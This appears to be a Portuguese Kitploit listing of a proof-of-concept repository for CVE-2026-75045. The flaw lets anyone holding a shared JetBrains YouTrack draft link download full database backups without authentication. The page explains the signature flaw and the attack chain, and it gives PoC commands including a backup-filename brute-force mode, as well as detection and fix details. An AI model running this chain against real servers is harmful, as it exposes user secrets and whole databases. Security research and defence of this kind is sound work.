Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-75045-PoC — CVE-2026-75045 - Download não autenticado de backup do banco de dados do JetBrains YouTrack por meio de assinatura de rascunho compartilhada (CVSS 9.1) | Kitploit
Ferramentas/GitHubGitHub/lheiakim/cve-2026-75045-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAutenticação
GitHublheiakim/cve-2026-75045-poc

CVE-2026-75045-PoC

CVE-2026-75045 - Download não autenticado de backup do banco de dados do JetBrains YouTrack por meio de assinatura de rascunho compartilhada (CVSS 9.1)

Ver Repositório
4há 26 diasAinda não revisado
Compartilhar

CVE-2026-75045 — JetBrains YouTrack: Download Não Autenticado de Backup do Banco de Dados via Assinatura de Rascunho Compartilhado

Status: PoC reconstruído como parte de pesquisa de vulnerabilidade; não existia exploit público na época. Relator original: Hieu Nguyen (reportado à JetBrains, corrigido em 2026-08-17/18).

ProdutoJetBrains YouTrack (Server auto-hospedado)
AfetadoTodas as builds anteriores a 2025.3.156085, 2026.1.13913, 2026.2.18112
TipoCWE-288 — Bypass de Autenticação Usando Caminho ou Canal Alternativo
CVSS 3.19.1 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Pós-exploraçãoDump completo do banco de dados: todas as issues, projetos, usuários (hashes de senha, segredos), anexos, configurações
CISA KEVNão; EPSS baixo; nenhuma exploração in-the-wild registrada

1. Como o Mecanismo de Assinatura Funciona (Versão Vulnerável, 2026.2.17765)

EntitySigningService (youtrack-application) emite tokens de URL no formato:

token = base64url( timestamp | userXdId | entityId | sig )
sig   = base64( SHA-256( timestamp | userXdId | entityId | user.secret ) )
  • user.secret — segredo por usuário (XdUser implementa SecretProviderEntity);
  • se a entidade assinada também for uma SecretProviderEntity com seu próprio segredo, ele é anexado ao salt;
  • parseSign(token, type) busca o usuário por id, busca a entidade por entityId, recalcula o SHA-256 e compara, depois verifica now > timestamp → "link expirado".

Crítico: a busca da entidade passa por PersitenceExtensionsKt.tryFindById → xodus-dnq IdsKt.findById:

fun <T : XdEntity> XdEntityType<T>.findById(xdId: String): T {
    val session = store.session
    val entity = session.getEntity(session.toEntityId(xdId))  // raw store id
    return entity.toXd() as T                                 // type NOT checked
}

O parâmetro type é ignorado — qualquer entidade com esse store-id é retornada, convertida para o tipo solicitado. A assinatura ainda é validada porque é calculada a partir dos mesmos campos (timestamp, id do usuário, id da entidade, segredo do usuário).

2. Por que um Token de Rascunho Compartilhado Concede Privilégios de Superusuário

Quando um rascunho de issue é "compartilhado" com uma pessoa externa, XdIssueExtKt.getUrl constrói o link:

if (issue.isDraft) {
    res = "$baseUrl/newIssue?draftId=${issue.entityId}"
    if (issue.secret != null)   // draft marked as "shared"
        res += "&sign=" + signing.newSign(
            XdDraftOwnerUser.Companion.get(),   // <- signer
            issue,
            SignatureDuration.WORKFLOW)         // ~14 days
}

XdDraftOwnerUser é um superusuário interno:

@ApiJsDocIgnore
@AllowAllSecurity
public final class XdDraftOwnerUser extends XdSuperUser {
    // login = "draft_owner_" + Math.abs(new Random().nextInt());
    // password is randomly generated — cannot log in with it,
    // but runAs() from the signature uses its identity directly
}

Em resumo: todo destinatário de um link /newIssue?draftId=177-5&sign=<token> possui um token que incorpora um superusuário, válido por 14 dias, e o link é projetado para pessoas sem conta.

3. O Bypass (BackupFileResource, youtrack-maintenance)

Os arquivos de backup são servidos por meio de links assinados:

GET /api/admin/backups/<YYYY-MM-DD-HH-MM-SS.tar.gz>?sign=<token>
@GET @CustomAuth @Path("{file}")
public void getBackup(response, file, @QueryParam("sign") sign) {
    // SOLE authentication — signature check:
    user = entitySigningService.parseSign(sign, XdDatabaseBackupConfig.Companion).getUser();
    runAs(user) {                        // <- principal becomes the token's user
        assertAccess(file);              //    hasPermission(user, ADMIN_READ_APP)
        backupFile = backupFolder.getBackupFile(file);
        // ... stream the archive
    }
}

private void assertAccess(String file) {
    if (!security.hasPermission(loggedInUser, Permission.ADMIN_READ_APP))
        throw new ForbiddenException(...);           // superuser passes
    if (file contains '/' or '\\') throw NotFound;   // path traversal blocked
}

Cadeia de ataque:

  1. O atacante obtém qualquer link de rascunho compartilhado (vazado em correspondência, e-mail, logs, referer — os links são projetados para pessoas externas sem conta).
  2. parseSign(token, XdDatabaseBackupConfig): o usuário draft_owner_* é encontrado; a entidade pelo store-id é encontrada (é um rascunho de issue, mas o tipo não é verificado); o SHA-256 corresponde; 14 dias não se passaram → o token é válido.
  3. runAs(XdDraftOwnerUser) → assertAccess vê o superusuário → OK.
  4. O arquivo do banco de dados é enviado ao atacante. Oráculo adicional: 404 (arquivo não encontrado) vs 403 (token rejeitado) permite forçar por força bruta nomes de arquivo YYYY-MM-DD-HH-MM-SS.tar.gz (hora local do servidor; após um download bem-sucedido o token é queimado em expiredTokens até a reinicialização do servidor).

4. Como Foi Corrigido (diff 2026.2.18194)

BackupFileResource não foi alterado. Alterações em EntitySigningService:

  1. extractInfo: entityId == "null" agora é rejeitado (anteriormente tokens com entity=null eram aceitos para qualquer endpoint);
  2. newSign(user, entity, ...) — entity tornou-se @NotNull;
  3. tryFindByIdOfType foi adicionado — a entidade encontrada é verificada quanto à pertença ao tipo solicitado (getEnclosingEntityClass);
  4. assinaturas emailBound e a sobrecarga parseSign(token, vararg types) surgiram — o token é vinculado a uma lista de tipos de entidade permitidos.

Agora um token de rascunho no endpoint de backups → MalformedSignatureException → 403.

5. PoC

poc_cve_2026_75045.py (apenas biblioteca padrão). Apenas para instâncias que você possui ou tem permissão escrita explícita para testar.

# Non-destructive check (downloads nothing):
#   404 on a nonexistent file = token accepted = vulnerable
#   403 = token rejected = patched/invalid token
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
    --sign "<sign from shared draft link>" --i-am-authorized

# You can pass the full link:
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
    --draft-url "https://yt.lab.local/newIssue?draftId=177-5&sign=..." --i-am-authorized

# Controlled download (burns the one-time token):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
    --i-am-authorized --download --file 2026-07-15-03-00-00.tar.gz -o out.tar.gz

# Filename brute-force via the 404 oracle (rate limiting mandatory):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
    --i-am-authorized --brute --dates 2026-07-01:2026-07-19 \
    --times 03:00,22:30 --spread 60 --delay 0.3

Saída esperada do modo de verificação num servidor vulnerável:

[*] Control   (forged token): HTTP 403
[*] Probe     (draft token)  : HTTP 404
[+] VULNERABLE: shared draft signature accepted on the backups endpoint.

6. Detecção e Investigação

  • Nos logs de acesso: GET /api/admin/backups/<file>?sign=... sem cookie/Authorization, especialmente de IPs externos; HTTP 200 nesse caminho é um incidente.
  • Respostas 404/403 com um formato de sign válido em /api/admin/backups/ indicam tentativas de exploração/varredura.
  • Vazamento de links de rascunho compartilhado: eles começam com /newIssue?draftId=...&sign=....
  • Um download bem-sucedido "queima" o token até a reinicialização — 403s repetidos com o mesmo sign após um 200 significam que a primeira requisição provavelmente foi um download bem-sucedido.

7. Mitigação

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    276

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →